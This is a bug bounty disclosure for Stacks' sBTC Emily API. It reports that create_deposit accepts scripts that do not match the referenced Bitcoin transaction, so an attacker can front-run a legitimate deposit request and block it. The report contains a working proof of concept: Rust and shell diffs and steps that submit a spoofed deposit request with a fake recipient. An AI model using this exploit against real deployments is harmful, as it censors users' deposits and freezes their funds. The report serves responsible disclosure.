#37384 [BC-Medium] Attacker can front-run call to emily api with incorrect data, preventing legit us
Submitted on Dec 3rd 2024 at 16:26:12 UTC by @n4nika for Attackathon | Stacks
Report ID: #37384
Report Type: Blockchain/DLT
Report severity: Medium
Target: https://github.com/stacks-network/sbtc/tree/immunefi_attackaton_0.9/emily
Impacts:
A bug in the respective layer 0/1/2 network code that results in unintended smart contract behavior with no concrete funds at direct risk
Description
Summary
An attacker can "front-run" legitimate users' requests to create_deposit
of the emily
api (emily/handler/src/api/handlers/deposit.rs#206
) with malformed deposit requests, censoring those users' deposits.
Rootcause
Since the create_deposit
endpoint of the emily
api (emily/handler/src/api/handlers/deposit.rs#206
) does not do any verification that the submitted scripts match the scripts at the submitted bitcoin_txid[bitcoin_tx_output_index]
, meaning we can specify arbitrary scripts which do not match the actual bitcoin transaction. If we manage to make such a request to emily
before the legitimate user does, their deposit request will not be accepted and since our request is malformed, it will fail the signer verification later on.
Impact
Now if we manage to fit our malicious request in before the user's goes through, their deposit request will fail. As far as I can see (please correct me if I'm wrong), the deposit_entry
added to the database here is never removed from it later. Since the key for the database entry is based on the txid
and tx_output_index
(seen here), the legit user will be unable to re-submit their deposit request.
Therefore this allows the attacker to censor the user's deposit, essentially freezing their assets for the user specified lock_time
.
Mitigation
Consider already checking whether the deposit request sent to emily
is legit (cross-check the claimed information with the information written in the specified bitcoin transaction).
Proof of Concept
In order to run the PoC, please apply the following two diffs (one updates the demo_cli
, the other updates the signers.sh
script):
diff --git a/signer/src/bin/demo_cli.rs b/signer/src/bin/demo_cli.rs
index 73c4df02..c3a2f77e 100644
--- a/signer/src/bin/demo_cli.rs
+++ b/signer/src/bin/demo_cli.rs
@@ -13,6 +13,7 @@ use clarity::{
types::{chainstate::StacksAddress, Address as _},
vm::types::{PrincipalData, StandardPrincipalData},
};
+use emily_client::models::{deposit, Deposit, Status};
use emily_client::{
apis::{
configuration::{ApiKey, Configuration},
@@ -21,6 +22,7 @@ use emily_client::{
models::CreateDepositRequestBody,
};
use fake::Fake as _;
+use libp2p::identify::Info;
use rand::rngs::OsRng;
use sbtc::deposits::{DepositScriptInputs, ReclaimScriptInputs};
use secp256k1::PublicKey;
@@ -28,6 +30,7 @@ use signer::config::Settings;
use signer::keys::SignerScriptPubKey;
use signer::storage::model::StacksPrincipal;
+
#[derive(Debug, thiserror::Error)]
#[allow(clippy::enum_variant_names)]
enum Error {
@@ -61,8 +64,15 @@ struct CliArgs {
enum CliCommand {
/// Simulate a deposit request
Deposit(DepositArgs),
+ BitcoinTx(DepositArgs),
+ DepositEmily(DepositArgs),
Donation(DonationArgs),
Info(InfoArgs),
+ GetDeposits(GetArgs),
+}
+
+#[derive(Debug, Args)]
+struct GetArgs {
}
#[derive(Debug, Args)]
@@ -83,6 +93,9 @@ struct DepositArgs {
/// The public key of the aggregate signer.
#[clap(long = "signer-key")]
signer_aggregate_key: String,
+
+ #[clap(long)]
+ tx_id: String,
}
#[derive(Debug, Args)]
@@ -156,8 +169,15 @@ async fn main() -> Result<(), Box<dyn std::error::Error>> {
CliCommand::Deposit(args) => {
exec_deposit(args, &bitcoin_client, &emily_client_config).await?
}
+ CliCommand::BitcoinTx(args) => {
+ exec_bitcoin_tx(args, &bitcoin_client, &emily_client_config).await?
+ }
+ CliCommand::DepositEmily(args) => {
+ exec_deposit_emily(args, &bitcoin_client, &emily_client_config).await?
+ }
CliCommand::Donation(args) => exec_donation(args, &bitcoin_client).await?,
CliCommand::Info(args) => exec_info(args).await?,
+ CliCommand::GetDeposits(args) => exec_get_deposits(args, &emily_client_config).await?,
}
Ok(())
@@ -194,6 +214,77 @@ async fn exec_deposit(
Ok(())
}
+async fn exec_get_deposits(
+ args: GetArgs,
+ emily_config: &Configuration,
+) -> Result<(), Error> {
+
+ let emily_deposit = deposit_api::get_deposits(
+ emily_config,
+ Status::Pending,
+ None,
+ None,
+ )
+ .await.unwrap();
+
+ println!("Deposit request created: {:?}", emily_deposit);
+ Ok(())
+}
+
+
+async fn exec_bitcoin_tx(
+ args: DepositArgs,
+ bitcoin_client: &Client,
+ emily_config: &Configuration,
+) -> Result<(), Error> {
+ let (unsigned_tx, deposit_script, reclaim_script) =
+ create_bitcoin_deposit_transaction(bitcoin_client, &args)?;
+
+ let txid = unsigned_tx.compute_txid();
+
+ let signed_tx = bitcoin_client.sign_raw_transaction_with_wallet(&unsigned_tx, None, None)?;
+ println!("Signed transaction: {:?}", hex::encode(&signed_tx.hex));
+ let tx = bitcoin_client.send_raw_transaction(&signed_tx.hex)?;
+ println!("Transaction sent: calculated txid {txid:?}, actual txid {tx:?}");
+
+ Ok(())
+}
+
+async fn exec_deposit_emily(
+ args: DepositArgs,
+ bitcoin_client: &Client,
+ emily_config: &Configuration,
+) -> Result<(), Error> {
+ let (unsigned_tx, deposit_script, reclaim_script) =
+ create_bitcoin_deposit_transaction(bitcoin_client, &args)?;
+
+ let txid = bitcoin::Txid::from_str(args.tx_id.as_str()).unwrap();
+
+ let mut deposit_script = deposit_script;
+ println!("Before");
+ deposit_script.signers_public_key = XOnlyPublicKey::from_str(&args.signer_aggregate_key)
+ .or_else(|_| PublicKey::from_str(&args.signer_aggregate_key).map(XOnlyPublicKey::from))
+ .map_err(|_| Error::InvalidSignerKey(args.signer_aggregate_key.clone()))?;
+
+ println!("After");
+
+ let emily_deposit = deposit_api::create_deposit(
+ emily_config,
+ CreateDepositRequestBody {
+ bitcoin_tx_output_index: 0,
+ bitcoin_txid: txid.to_string(),
+ deposit_script: deposit_script.deposit_script().to_hex_string(),
+ reclaim_script: reclaim_script.reclaim_script().to_hex_string(),
+ },
+ )
+ .await?;
+
+ println!("Deposit request created: {:?}", emily_deposit);
+
+ Ok(())
+}
+
+
async fn exec_donation(args: DonationArgs, bitcoin_client: &Client) -> Result<(), Error> {
let pubkey = XOnlyPublicKey::from_str(&args.signer_aggregate_key)
.or_else(|_| PublicKey::from_str(&args.signer_aggregate_key).map(XOnlyPublicKey::from))
diff --git a/signers.sh b/signers.sh
index 1b842264..621ec683 100755
--- a/signers.sh
+++ b/signers.sh
@@ -79,24 +79,77 @@ exec_run() {
exec_demo() {
if [ -z "$1" ]; then
pubkey=$(psql postgresql://postgres:postgres@localhost:5432/signer -c "SELECT aggregate_key FROM sbtc_signer.dkg_shares ORDER BY created_at DESC LIMIT 1" --no-align --quiet --tuples-only)
- pubkey=$(echo "$pubkey" | cut -c 2-)
+ pubkey=$(echo "$pubkey" | cut -c 3-)
echo "Signers aggregate_key: $pubkey"
else
pubkey="$1"
fi
cargo run -p signer --bin demo-cli donation --amount 2000000 --signer-key "$pubkey"
- cargo run -p signer --bin demo-cli deposit --amount 42 --max-fee 20000 --lock-time 50 --stacks-addr ST2SBXRBJJTH7GV5J93HJ62W2NRRQ46XYBK92Y039 --signer-key "$pubkey"
+ cargo run -p signer --bin demo-cli deposit --amount 42 --max-fee 20000 --lock-time 50 --stacks-addr ST2SBXRBJJTH7GV5J93HJ62W2NRRQ46XYBK92Y039 --signer-key "$pubkey" --tx-id ""
+}
+
+exec_poc() {
+ if [ -z "$1" ]; then
+ pubkey=$(psql postgresql://postgres:postgres@localhost:5432/signer -c "SELECT aggregate_key FROM sbtc_signer.dkg_shares ORDER BY created_at DESC LIMIT 1" --no-align --quiet --tuples-only)
+ pubkey=$(echo "$pubkey" | cut -c 3-)
+ echo "Signers aggregate_key: $pubkey"
+ else
+ pubkey="$1"
+ fi
+
+ cargo run -p signer --bin demo-cli donation --amount 2000000 --signer-key "$pubkey"
+
+ cargo run -p signer --bin demo-cli bitcoin-tx --amount 42 --max-fee 20000 --lock-time 50 --stacks-addr ST2SBXRBJJTH7GV5J93HJ62W2NRRQ46XYBK92Y039 --signer-key "$pubkey" --tx-id ""
+}
+
+exec_second_stage() {
+ if [ -z "$1" ]; then
+ pubkey=$(psql postgresql://postgres:postgres@localhost:5432/signer -c "SELECT aggregate_key FROM sbtc_signer.dkg_shares ORDER BY created_at DESC LIMIT 1" --no-align --quiet --tuples-only)
+ pubkey=$(echo "$pubkey" | cut -c 3-)
+ echo "Signers aggregate_key: $pubkey"
+ else
+ pubkey="$1"
+ fi
+
+ if [ -z "$2" ]; then
+ txid=""
+ else
+ txid="$2"
+ fi
+
+ # txid="$2"
+
+ if [ -z "$3" ]; then
+ stacks=ST2SBXRBJJTH7GV5J93HJ62W2NRRQ46XYBK92Y039
+ else
+ stacks="$3"
+ fi
+
+
+ echo "-----------"
+ echo $pubkey
+ echo $txid
+ echo $stacks
+ echo "-----------"
+
+ cargo run -p signer --bin demo-cli deposit-emily --amount 42 --max-fee 20000 --lock-time 50 --stacks-addr $stacks --signer-key "$pubkey" --tx-id "$txid"
+}
+
+exec_get_deposits() {
+
+ cargo run -p signer --bin demo-cli get-deposits
+
}
exec_info() {
pubkey=$(psql postgresql://postgres:postgres@localhost:5432/signer -c "SELECT aggregate_key FROM sbtc_signer.dkg_shares ORDER BY created_at DESC LIMIT 1" --no-align --quiet --tuples-only)
- pubkey=$(echo "$pubkey" | cut -c 2-)
+ pubkey=$(echo "$pubkey" | cut -c 3-)
echo "Signers aggregate_key: $pubkey"
cargo run -p signer --bin demo-cli info --signer-key "$pubkey"
-}
+}
# The main function
main() {
if [ "$#" -eq 0 ]; then
@@ -116,6 +169,21 @@ main() {
shift # Shift the command off the argument list
exec_demo "$@"
;;
+ # Execute PoC
+ "poc")
+ shift # Shift the command off the argument list
+ exec_poc "$@"
+ ;;
+ # Execute PoC s2
+ "s2")
+ shift # Shift the command off the argument list
+ exec_second_stage "$1" "$2" "$3"
+ ;;
+ # Get deposits
+ "get")
+ shift # Shift the command off the argument list
+ exec_get_deposits "$@"
+ ;;
# Get signers info from db
"info")
shift # Shift the command off the argument list
After that, this can be confirmed by:
launching the devnet
executing
./signers.sh poc
and taking the returnedTXID
executing
./signers.sh s2 [SIGNER_KEY] [TXID] SP2QKVPXG87TZ01JMRH1VP3S38AWN32NBS5B4CWT0
, hereSIGNER_KEY
can be taken from the cargo run output of the previous command (sorry the script is a bit hacky)The last argument is a random stacks address I took from the stacks explorer
This step is the "frontrun" of the attacker, providing a
recipient
which does not match the one of the bitcoin transaction on-chain
executing
./signers.sh get
-> this returns the current deposit requests; here we can see that the recipient is the one we providedIf we now execute
./signers.sh s2 [SIGNER_KEY] [TXID]
(which defaults to using the recipient of the on-chain transaction)and afterwards again execute
./signers.sh get
, we see that now the recipient was not updated (which is good, otherwise we would have another bug)
Since all these steps work, this shows that we can submit an invalid deposit request for a valid transaction. That this later on fails should be pretty clear; we verify the script integrity in the sbtc
library before signers sign the deposit here
Last updated
Was this helpful?